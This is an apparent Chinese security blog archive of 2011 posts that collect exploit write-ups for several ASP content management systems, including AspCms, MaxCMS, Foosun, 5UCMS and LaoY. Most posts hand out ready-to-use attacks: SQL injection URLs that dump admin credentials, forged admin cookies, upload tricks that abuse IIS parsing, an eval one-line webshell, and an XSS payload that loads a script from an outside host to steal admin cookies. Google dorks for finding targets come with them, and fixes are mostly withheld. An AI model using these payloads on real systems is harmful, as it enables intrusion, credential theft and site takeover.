2011, December 11, 3:41 PM
来源:http://www.t00ls.net/thread-19635-1-1.html
1. - 低调求发展2 w* h: L9 K2 u% a! q; X
user_reg.asp
'注册
case "user_reg_do"
user_name = trim(request.form("user_name"))
user_pass = trim(request.form("user_pass"))
user_pass_again = trim(request.form("user_pass_again"))
user_mail = trim(request.form("user_mail"))
user_pass_question = trim(request.form("user_pass_question"))
user_pass_answer = trim(request.form("user_pass_answer"))
user_sex = trim(request.form("user_sex"))
user_www = trim(request.form("user_www"))
user_sign = trim(request.form("user_sign"))
user_face = trim(request.form("user_face"))
user_qq = trim(request.form("user_qq"))
user_msn = trim(request.form("user_msn"))
%>
简单过滤空格
if instr(user_name," ") > 0 or instr(user_name,"#") > 0 or instr(user_name,"`") > 0 or instr(user_name,"|") > 0 or instr(user_name," ") > 0 or instr(user_name," ") > 0 or Instr(user_name,"%") > 0 or Instr(user_name,"&") > 0 or Instr(user_name,"ヴ") > 0 or Instr(user_name,"ヂ") > 0 or Instr(user_name,"ゼ") > 0 or Instr(user_name,"ヅ") > 0 or Instr(user_name,"") > 0 or Instr(user_name,"+") > 0 or Instr(user_name,"=") > 0 or Instr(user_name,"'") > 0 then
session("message") = "<li>用户名中不能含有特殊符号</li>"
session("message") = session("message") & "<li><a href=""javascript:history.back();"">返回</a></li>"
没有检测;分号 可以注册duos.asp;1的账户
X- Q* _
有个特性是注册会员上传的头像是根据自己名字来保存图片
注册duos.asp;1的账户 ==》上传脚本.jpg==》自动保存为 duos.asp;1.jpg (这点可以利用IIS6.0的解析漏洞) - 低调求发展" w$ W1 i E" j' l6 i6 G1 K
T00LS! ~0 C7 A6 ?/ e+ v6 I
2.
XSS很多。 这个对论坛影响较大。
漏洞分析 | 评论:0
| Trackbacks:0
| 阅读:14384
2011, December 3, 1:45 PM
Author: Virushack
Blog: http://virushack.org
From:www.v5script.org
漏洞文件:editpass.asp
漏洞代码:
- Dim linkman , gender , phone , mobile , email , qq , address , postcode
- if isnul ( rCookie ( “loginstatus” )) then wCookie “loginstatus” , 0
- if rCookie ( “loginstatus” )= 1 then
- set rsObj = conn . Exec ( “select * from aspcms_Users where UserID=” & trim ( rCookie ( “userID” )), “r1″ )
- 直接通过rCookie 取得userid带入查询.
再看看 rcookie函数的处理
- ‘读cookies
- Function rCookie(cookieName)
- rCookie=request.cookies(cookieName)
- End Function
直接通过cookies取得
利用:
注册个帐号让 loginstatus不为空
然后 cookies注入 userID 不管你手注还是工具 都行 我这是用火狐的cookies插件
Exploit:UNION SELECT 1,2,3,4,5,6,username,adminpassword,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from Aspcms_admins
效果图:

后台拿shell 就更简单了 插一句话什么都行 我这就用最稳当的方法
http://127.0.0.1/admin/_Style/AspCms_TemplateEdit.asp?filename=a.asp

http://127.0.0.1/Templates/default/html/a.asp
Google Dork: Powered by AspCms v1.5
漏洞分析 | 评论:0
| Trackbacks:0
| 阅读:17787
2011, October 28, 8:40 AM
'\admin\admin_upfile.asp
<%
'略
dim folderList,folderNum,i,folderAttr,fileList,fileNum,j,fileAttr,folder,filedir,filename,lastLevelPath
dim dirTemplate : dirTemplate="../Upload"
dim path : path=getForm("path","get") : if isNul(path) then path= dirTemplate
if left(path,9)<>"../Upload" then alert "只允许编辑Upload目录","admin_upfile.asp" : die ""
'略
%>
判断问题。T00LS+ F$ l9 p) s" t% A% N
T00LS; u- @6 D+ J0 y
利用方法:
'\admin\admin_template.asp
<%
checkPower
'略
dim folderList,folderNum,i,folderAttr,fileList,fileNum,j,fileAttr,folder,filedir,filename,lastLevelPath
dim dirTemplate : dirTemplate="../template"
dim path : path=getForm("path","get") : if isNul(path) then path= dirTemplate
if left(path,11)<>"../template" then alert "只允许编辑template目录","admin_template.asp" : die ""
'略
%>
利用方法:
漏洞分析 | 评论:0
| Trackbacks:0
| 阅读:15612
2011, August 21, 11:49 AM
http://www.3est.com/5156/
在文件admin/ admin_inc.asp中:
Sub checkPower //第103行
dim loginValidate,rsObj : loginValidate = "maxcms2.0"
err.clear
on error resume next
set rsObj=conn.db("select m_random,m_level from {pre}manager where m_username='"&rCookie("m_username")&"'","execute")
rCookie函数在文件inc/ CommonFun.asp中
Function rCookie(cookieName) //第28行
rCookie = request.cookies(cookieName)
End Function
rCookie函数仅从cookie读取数据没做任何过滤,导致cookie注入漏洞的产生。
<*参考
参考官方补丁
*>
测试方法:修改cookies值注入
----
过滤单引号
漏洞分析 | 评论:0
| Trackbacks:0
| 阅读:19655
2011, August 14, 12:28 PM
aspcms开发的全新内核的开源企业建站系统,能够胜任企业多种建站需求,并且支持模版自定义、支持扩展插件等等,能够在短时间内完成企业建站。
漏洞出现在
/plug/productbuy.asp
对接收的参数id没有进行过滤而导致的注入漏洞
注入后的页面有跳转,所以要快,建议用快捷键复制
爆用户名
/plug/productbuy.asp?id=2+union+select+1,2,LoginName,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+AspCms_User+where+userid=1
这是爆ID=1的账户名,如果发现权限不够可以往后试2,3,4...........
爆密码
/plug/productbuy.asp?id=2+union+select+1,2,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+AspCms_User+where+userid=1
后台登录地址:/admin/login.asp
后台拿shell
1、直接上传.asp;x
2、系统配置信息
3、模版管理新建1.asp模板,内容写马的内容.
搜索关键词:搜索关键词:intitle:Powered by AspCms2
修复方法就不提了。你懂的
转载请注明出处:绝色丶缘灭'blog
http://hi.baidu.com/hackxx00/blo ... fc7a27f8dc619f.html |
漏洞分析 | 评论:0
| Trackbacks:0
| 阅读:21717
首发地址:www.3est.com
Author:村长
BLOG:www.baidu.com
拿赌博站时,遇到的充值地址在这个程序的站点上,所以就去下载了份,略过看注入点,直接看上传地方.
文件u_sc1.asp源码:
- <!--#include file="../include/yiwebchina.asp"-->
- <%
- session("fuptype")=request("fuptype") '此处先接受fuptype,存入session("fuptype") ,下一个文件需要利用
- session("fupname")=request("fupname") '此处先接受fupname,存入session("fupname") ,下一个文件需要利用
- session("frmname")=request("frmname")
-
- /*省略代码*/
-
- <form name="form1" method="post" action="u_sc1save.asp" enctype="multipart/form-data">
- <b>请选择要上传的文件:</b><br>
- <input type=file name="file1">
- <input type=submit name="submit" value="上传"><br><br>
- ·点击“上传”后,请耐心等待(不要重复点击“上传”),上传时间视文件大小和网络状况而定<br>
- ·为节省空间,如果是图片文件,请尽量优化,建议单个文件不要超过50KB。<br>
- ·传送大文件时,可能导致服务器变慢或者不稳定。建议使用FTP上传大文件。
- </form>
复制代码
文件u_sc1save.asp源码
- <!--#include file="../include/yiwebchina.asp"-->
- <html>
- <head>
- <title>文件上传</title>
- <meta name="Description" Content="">
- <LINK href="../images/css.css" type=text/css rel=stylesheet>
- <LINK href="../list/newhead.css" type=text/css rel=stylesheet>
- <meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head>
- <body bgcolor="#D9EAFC"><table align="left"><tr><td>
- <%
- fuptype=session("fuptype") '利用点1
- fupname=session("fupname") '利用点2
- frmname=session("frmname")
- if fuptype="" or fupname="" or frmname="" then
- response.write "<script language='javascript'>"
- response.write "alert('出现错误,请重新上传!');"
- response.write "location.href='javascript:history.go(-1)';"
- response.write "</script>"
- response.end
- end if
- %>
- <!--#include FILE="upload_5xsoft.inc"-->
- <%
- set upload=new upload_5xsoft
- set file=upload.file("file1")
- if file.fileSize>0 then
- filename=fupname+"." '此处属于利用点2,直接把URL里的fupname值改为1.asa;,原因很多人懂滴
- filenameend=file.filename
- filenameend=split(filenameend,".")
- n=UBound(filenameend)
- filename=filename&filenameend(n)
- if fuptype<>"db" then
- if file.fileSize>200000 then
- response.write "<script language='javascript'>"
- response.write "alert('您上传的文件太大,上传不成功,单个文件最大不能超过200K!');"
- response.write "location.href='javascript:history.go(-1)';"
- response.write "</script>"
- response.end
- end if
- end if
- if fuptype="adv" or fuptype="pic" then '问题也在这里出现了,当fuptype=adv或者fuptype=pic时才判断后缀
- if LCase(filenameend(n))<>"gif" and LCase(filenameend(n))<>"jpg" and LCase(filenameend(n))<>"swf" and LCase(filenameend(n))<>"htm" then
- response.write "<script language='javascript'>"
- response.write "alert('不允许上传您选择的文件格式,请检查后重新上传!');"
- response.write "location.href='javascript:history.go(-1)';"
- response.write "</script>"
- response.end
- end if
- end if
- if fuptype="adv" then '此处利用点1,接下来是判断fuptype值了,ADV和PIC不能利用,乱填的话,上传后不会返回路径,所以可以利用的只有pic1,link,db了随便选择一个就行了
- savepath="../images/adv/"&filename
- elseif fuptype="pic" then
- savepath="../pic/digi/"&filename
- elseif fuptype="pic1" then
- savepath="../pic/digi1/"&filename
- elseif fuptype="link" then
- savepath="../images/links/"&filename
- elseif fuptype="db" then
- savepath="./"&filename
- end if
- file.saveAs Server.mappath(savepath)
- response.write "文件上传成功!上传文件的物理路径为:"
- response.write "<font color=red>"&Server.mappath(savepath)&"</font><br><br>"
- response.write "<a href='"&savepath&"' target='_blank'>点击预览上传的文件</a>"
- response.write "<br><br><INPUT onclick='javascript:window.close();' type=submit value='上传完成'>"
- %>
复制代码
此文件所涉及的3个文件yiwebchina.asp,buyok.asp,functions.asp都米有验证ADMIN,所以直接利用吧
漏洞利用1:
http://www.baidu.com/admin/u_sc1 ... c&fupname=1.asa;&frmname=youpic (上传SHELL的图片格式)


漏洞利用2:
http://www.baidu.com/admin/u_sc1 ... &frmname=youpic (随便上传)


http://www.baidu.com/admin/u_sc1 ... &frmname=youpic (随便上传)
http://www.baidu.com/admin/u_sc1 ... &frmname=youpic (随便上传)
都注意SHELL文件不要超过限制200K(除开第四条DB上传外)
原理也很简单,也是给想学习自己找ODAY的菜菜详细的分析,呵呵
漏洞分析 | 评论:0
| Trackbacks:0
| 阅读:15569
来源:Trace's Space
代码http://www.venshop.com/down/venshop.rar
小程序,备忘一下
ad_chk.asp判断管理员登陆状态
<%
if Request.Cookies("venshop")("admin_name")="" or Request.Cookies("venshop")("admin_pass")="" or Request.Cookies("venshop")("admin_class")="" then
Response.Cookies("venshop")("admin_name")=""
Response.Cookies("venshop")("admin_pass")=""
Response.Cookies("venshop")("admin_class")=""
response.redirect "ad_login.asp"
response.end
end if
%>
判断admin_class
C:\Inetpub\wwwroot>findstr /i /n /s "admin_class" *.asp
ad_admin.asp:29: rs("admin_class")=request("class1")
ad_admin.asp:43:rs("admin_class")=request("class")
ad_admin.asp:92:<option value="0"<%if rs("admin_class")=0 then response.write" s
elected"%>>总管理员</option>
ad_admin.asp:93:<option value="1"<%if rs("admin_class")=1 then response.write" s
elected"%>>产品管理</option>
ad_admin.asp:94:<option value="2"<%if rs("admin_class")=2 then response.write" s
elected"%>>订单管理</option></select></td>
........................
可以看出当admin_class=0的时候就是总管理员身份了。
伪造cookie如下
Themes=default; Count=lao=3; Countecho=lao=True; ASPSESSIONIDQAADRSRB=CDBDHEHCLJOIHFDAHLFHABIO; venshop=admin%5Fclass=0&admin%5Fpass=admin&admin%5Fname=admin
然后访问http://www.target.com/ad_manage.asp即可,后台有数据库备份可以拿webshell。
inurl:"views.asp?hw_id="#google
漏洞分析 | 评论:0
| Trackbacks:0
| 阅读:14874
有一次不小心发现了5UCMS一个小漏洞。漏洞文件
后台目录/ajax.asp
因未进行后台用户验证,导致未登陆也可访问此文件,文件存在sql注入。
我今天进官方看了下好象漏洞他们已经发出了修复公告了,这里我把利用公布出来 直接暴出后台帐号密码。
ajax.asp?Act=modeext&cid=1%20and%201=2%20UNION%20select%20111%26Chr(13)%26Chr(10)%26username%26chr(58)%261%26Chr(13)%26Chr(10)%26password%26chr(58)%20from xxxx_Admin&id=1%20and%201=2%20UNION%20select%201%20from xxxx_Admin xxxx_Admin这个表名一般都是他们在安装的时候自定以的,一般都是用域名 比如www.xxxa.com这个站 表名可能就是xxxa_admin 大家自己修改。没什么技术含量 一般新手暴不出来所以才发出来
说实话他们的程序还是比较安全的能搞出个也不错了。对于我们这些菜鸟来说。
出现:True|False|ERR: Object required 证明表名添写错误了。
http://www.t00ls.net/thread-16239-1-1.html
漏洞分析 | 评论:0
| Trackbacks:0
| 阅读:13776
讯时网站管理系统一款界面清爽、操作体验极好的ASP网站管理系统,而且免费开源,尤其是这套系统的新闻部分非常深受各位站长的喜爱,使用时,这个CMS系统的首页需要你自己设计一个模板,然后由后台设置后进行JS调用。因此后台的功能比较完备.
可能就是因为程序员疏忽数据库链接文件没有容错语句,所以导致暴库漏洞。
漏洞文件:admin/admin_conn.asp
<%
mdb="../"
%>
够简单吧,但是可能就是因为程序员疏忽,所以出现问题啦,这是一个数据库链接文件,但是因为这文件没有容错语句,所以导致暴库漏洞下面是我的本机地址 http://www.hackqing.com/news/admin/admin_conn.asp,我们把最后一个“/”号改成“%5c”然后,暴库数据库地址.
修复方案:这个漏洞修复方法很简单,只要添加防错语句即可
"ON ERROR RESUME NEXT“这一句话!
这漏洞应该是程序员疏忽造成的,在根目录下也有个admin_conn.asp 文件,这文件程序员添加了防错语句.
漏洞分析 | 评论:0
| Trackbacks:0
| 阅读:15034
风讯foosun的注册文件存在漏洞,可以暴管理员帐号和密码。
漏洞文件:
http://www.xxx.com/user/SetNextOptions.asp
利用简单的方法:
暴管理员帐号:
http://www.xxx.com/user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+1,admin_name,3,4,5,6,7,8++from+FS_MF_Admin
暴管理员密码:
http://www.xxx.com/user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+1,admin_pass_word,3,4,5,6,7,8++from+FS_MF_Admin.
漏洞分析 | 评论:0
| Trackbacks:0
| 阅读:13524
影响的版本:2.5 3.0 acces 更久的版本没看
User/Upload.asp文件
34-50行
01 |
if Uprequest.form( "file_Err" )<>0 then |
02 |
select case Uprequest.form( "file_Err" ) |
03 |
case 1:str= "<div style=" "padding-top:5px;padding-bottom:5px;" "> <font color=blue>" &Uprequest.MaxSize/1024& "K [<a href='javascript:history.go(-1)'>重新上传</a>]</font></div>" |
04 |
case 2:str= "<div style=" "padding-top:5px;padding-bottom:5px;" "> <font color=blue>文件格式不对 [<a href='javascript:history.go(-1)']>重新上传</a>]</font></div>" |
05 |
case 3:str= "<div style=" "padding-top:5px;padding-bottom:5px;" "> <font color=blue>文件太大且格式不对 [<a href='javascript:history.go(-1)'>重新上传</a>]</font></div>" |
10 |
sql= "Update " &tbname& "_User set UserFace = '" &Uprequest.Form( "file" )& "' where ID= " &LaoYID |
12 |
response.write "<script language=" "javascript" ">parent.UserReg.UserFace.value='" &Uprequest.Form( "file" )& "';" |
13 |
response.write "</script>" |
14 |
response.write "<div style=" "margin-top:6px;" "><font color=red>上传成功</font>,刷新该页面即可看到新的头像。<a href='javascript:history.go(-1)'>重新上传</a></div>" |
60-67行代码:
3 |
If right(RV_img,4)<> ".gif" then |
4 |
Dim S_Width,S_Height,H_Temp,W_Temp |
7 |
Set Jpeg = Server.CreateObject( "Persits.Jpeg" ) |
8 |
Path = Server.MapPath(RV_img) |
上传头像抓包内容,我用的火狐浏览器插件livehttp,我这里就不把头部的东西放上来了。
发送以下的PostData。
01 |
-----------------------------4827543632391\r\n |
02 |
Content-Disposition: form-data; name= "file" ;filename= "c:\1.gif" \r\n |
07 |
-----------------------------4827543632391\r\n |
08 |
Content-Disposition: form-data; name= "file" \r\n |
10 |
//重点在这里,DLookup是什么东西,怎么用的,请自行百度、google查询。谢谢 |
13 |
-----------------------------4827543632391\r\n |
14 |
Content-Disposition: form-data; name= "submit" \r\n |
17 |
-----------------------------4827543632391--\r\n |
返回后,可以看到自己EMAIL一项变成了管理员的MD5加密串。老Y文章管理系统作者在MD5.asp里面做了手脚,保存的MD5为前16位,无法破解密文。不过没有关系··
可以Cookie欺骗登陆后台···
admin/admin_check.asp
02 |
Dim LaoYAdminID,LaoYAdminName,LaoYAdminPass,IsAdmin,rs5 |
04 |
LaoYAdminID =LaoYRequest(Request.Cookies( "LaoYAdmin" )( "UserID" )) |
05 |
LaoYAdminName =CheckStr(Request.Cookies( "LaoYAdmin" )( "UserName" )) |
06 |
LaoYAdminPass =CheckStr(Request.Cookies( "LaoYAdmin" )( "UserPass" )) |
08 |
If LaoYAdminID<> "" and LaoYAdminName<> "" and LaoYAdminPass<> "" then |
09 |
set rs5 = server.CreateObject ( "adodb.recordset" ) |
10 |
sql= "Select Top 1 * from [" &tbname& "_Admin] where id=" & LaoYAdminID & " and Admin_Pass='" &LaoYAdminPass& "' and Admin_Name='" &LaoYAdminName& "'" |
13 |
Dim myadminid,myadminpass,myadminuser |
15 |
myadminpass =rs5( "Admin_Pass" ) |
16 |
myadminuser =rs5( "Admin_Name" ) |
17 |
myadminip =rs5( "Admin_IP" ) |
18 |
yaomight =rs5( "AdminMight" ) |
19 |
yaoadmintype =rs5( "AdminType" ) |
20 |
yaoadpower =rs5( "ADPower" ) |
21 |
yaoWritePower =rs5( "WritePower" ) |
22 |
yaoManagePower =rs5( "ManagePower" ) |
26 |
If myadminid<>Int(LaoYAdminID) or myadminpass<>LaoYAdminPass or myadminuser<>LaoYAdminName or myadminip<>GetIP Then |
34 |
Response.Redirect "" &SitePath& "" &SiteAdmin& "/Admin_Login.asp" |
这个你懂的···读出管理员的 ID、Admin_Pass,name,IP就可以登陆后台了。
我相信实际情况中大部分老Y系统后台都修改了名字,对于这种猥琐至极的管理员,我们就要使用更加超级无敌猥琐的方法···
XSS。。。
POSTDATA中
abc',Email=DLookUp('admin_pass','Yao_admin', 'Id=1'),Sex='0
我们可以这样写
abc',UserIp='<script src=http://xxbing.com/a.js></script>',Sex='0
管理员打开后台,查看所有用户列表时,就会被X到了··
至于他什么时候会查看所有用户,我也不知道,相信你能够用社工的手法,让他主动去看你的注册资料。
a.js代码的功能就是捕捉管理员后台地址和cookie地址,如果你想,还可以在里面添加其他猥琐功能,比如自动备份数据,自动添加新的管理员。
那随你了。a.js代码在这里就不提供了。
over!
漏洞分析 | 评论:0
| Trackbacks:0
| 阅读:15203
作者:Mr.DzY
增加了风格与站点表的关联;
后台:admin/login.asp 如不存在,自行猜解。
注入点:http://www.xxxx.net/index.asp?subsite=1
在工具里增加表名:dcore_user 列名:user_admin user_password
如果不怕麻烦也可以手工猜解。
拿shell方法:
后台--->风格管理--->选任意风格修改成Mr.DzY.asp--->编辑皮肤。
测试关键字:inurl:dynamic.asp?/1-2-17.html
多的自己构造。还是那老话,法律不允许,请勿非法入侵他人站点及破坏他人数据。
本文只作技术交流。对其引起的后果,自行承担。本人概不负责。
修补方法:加强密码强度/过滤非法字符/修改默认路径
通过这个0DAY很方便拿下SHELL。感谢先人的奉献呵呵
再看程序过程中发现根目录文件config.asp,是网站配置,也就是说后台直接修改网站配置信息写入一句话就能连接之,和南方数据企业网站管理系统后台一样
直接在信息版本后加上"%><%eval request("#")%><%' 加好后,是不显示这些代码的,还是原来的样子,但其实已经可以了
后面直接一句话连接之http://wwww.xxxx.net/config.asp
漏洞分析 | 评论:0
| Trackbacks:0
| 阅读:13508